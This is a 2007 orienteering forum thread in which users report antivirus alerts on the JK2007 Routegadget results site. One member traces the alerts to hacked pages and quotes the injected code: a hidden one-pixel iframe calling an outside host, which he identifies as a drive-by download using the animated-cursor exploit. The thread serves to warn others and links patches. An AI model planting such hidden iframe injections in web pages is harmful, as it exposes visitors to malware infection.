JK2007 sprint race is now available on Routegadget at http://www.jk2007.routegadget.co.uk
I'll get the other days up as soon as possible.
Simon
JK2007 Routegadget
Moderators: [nope] cartel, team nopesport
24 posts
• Page 1 of 2 • 1, 2
Paul Frost wrote:Nails
Either Simon E or myself can delete the route, which one is it?
It's OK, I've done it already. Any Nails route you see now should be the real thing!
-
Simon E - green
- Posts: 344
- Joined: Sat Jul 03, 2004 10:13 pm
- Location: St Albans
WARNING - Virus Alert
I just logged onto the JK2007 routegadget site and my Symantec Software spotted a virus - didn't get which one but beware folks...
I just logged onto the JK2007 routegadget site and my Symantec Software spotted a virus - didn't get which one but beware folks...
Don't miss the Deeside Double - 13 October Aberdeen Uni Sprint Race and 14 October Cambus o'May Long-O. See www,grampoc.com for details
- PeteL
- white
- Posts: 53
- Joined: Wed Nov 15, 2006 5:22 pm
- Location: MISPWOSO
PeteL
I can't see how you got a virus alert. I run Symantec and I get nothing.
Are you sure it's not a firewall alert, as the Java applet that RG uses can trigger those.
Sometimes these software firewalls/security suites are more trouble than their worth. Check your configuration.
If you or anyone else can give me details of the virus alert I will investigate, but no one else has ever commented about it.
I can't see how you got a virus alert. I run Symantec and I get nothing.
Are you sure it's not a firewall alert, as the Java applet that RG uses can trigger those.
Sometimes these software firewalls/security suites are more trouble than their worth. Check your configuration.
If you or anyone else can give me details of the virus alert I will investigate, but no one else has ever commented about it.
- Paul Frost
- addict
- Posts: 1176
- Joined: Sat Feb 26, 2005 6:25 pm
- Location: Highlands
I got somthing as well, using Sophos anti-virus stuff at work. I don't know the state of play, I was told to unplug myself from the network and go and find the IT people... None in the building so I will have to see tommorow when I get in.
I will let you know what happens tomorrow morning...
Ifor
I will let you know what happens tomorrow morning...
Ifor
-
ifor - brown
- Posts: 500
- Joined: Thu Dec 11, 2003 6:48 pm
- Location: Bristol
It's a Mal Virus as a temporary internet file. Using Sophos at work I have deleted it from quarentine. It's not from the route gadget site though its from the JK website at this address:
http://www.jk2007.routegadget.co.uk/
http://www.jk2007.routegadget.co.uk/
-
Rich R - orange
- Posts: 122
- Joined: Thu Sep 22, 2005 9:54 pm
- Location: Kirkby
Looking at the html source of routegadget.co.uk (checked jk2007 and main site), it looks like it's all been hacked:
that'll be what's triggering the virus warnings. whether it's a virus or a web-bug is hard to tell - the aim seems to be to load a bit of javascript from shojacash.ws/load, but no idea what that script's trying to do.
Update:
it looks like it's a drive-by download attempt exploiting problems with Microsoft's animated cursors, as was recently found on the Asus webpages.
Reports of the problems:
http://isc2.sans.org/diary.html?storyid=1948
http://www.theregister.co.uk/2007/04/06 ... e_viruses/
http://glengamoi.com/forums/permalink/1 ... hread.aspx (in German)
Microsoft emergency patch for this problem released on 3rd April (if your machine does automatic Windows updates then you'll have got this already):
http://www.microsoft.com/technet/securi ... 7-017.mspx
Anyone running Internet Explorer who hasn't done a Windows Update since last Tuesday (when Microsoft released a patch for this exploit) may well have just got a nasty infection: I'd recommend a serious batch of virus-scanning, spyware-scanning and not using Internet Explorer (or Windows, if you can get away with it!)
- Code: Select all
<head>
<iframe src='http://traf.paycash.cc/traf/?trash' width='1' height='1' frameborder='0'></iframe>
<head>
that'll be what's triggering the virus warnings. whether it's a virus or a web-bug is hard to tell - the aim seems to be to load a bit of javascript from shojacash.ws/load, but no idea what that script's trying to do.
Update:
it looks like it's a drive-by download attempt exploiting problems with Microsoft's animated cursors, as was recently found on the Asus webpages.
Reports of the problems:
http://isc2.sans.org/diary.html?storyid=1948
http://www.theregister.co.uk/2007/04/06 ... e_viruses/
http://glengamoi.com/forums/permalink/1 ... hread.aspx (in German)
Microsoft emergency patch for this problem released on 3rd April (if your machine does automatic Windows updates then you'll have got this already):
http://www.microsoft.com/technet/securi ... 7-017.mspx
Anyone running Internet Explorer who hasn't done a Windows Update since last Tuesday (when Microsoft released a patch for this exploit) may well have just got a nasty infection: I'd recommend a serious batch of virus-scanning, spyware-scanning and not using Internet Explorer (or Windows, if you can get away with it!)
Last edited by Ed on Fri Apr 13, 2007 1:43 pm, edited 3 times in total.
-
Ed - diehard
- Posts: 753
- Joined: Wed Nov 05, 2003 12:11 pm
I just sent an e-mail, to Paul, with a similar comment to Ed's. The iframe Ed highlights in turn calls another one. This second iframe calls a javascript function.
Similar code appears on quite a few *.routegadget.co.uk pages.
Similar code appears on quite a few *.routegadget.co.uk pages.
-
Simon - brown
- Posts: 532
- Joined: Wed May 19, 2004 7:40 pm
- Location: here or there
24 posts
• Page 1 of 2 • 1, 2
Who is online
Users browsing this forum: No registered users and 17 guests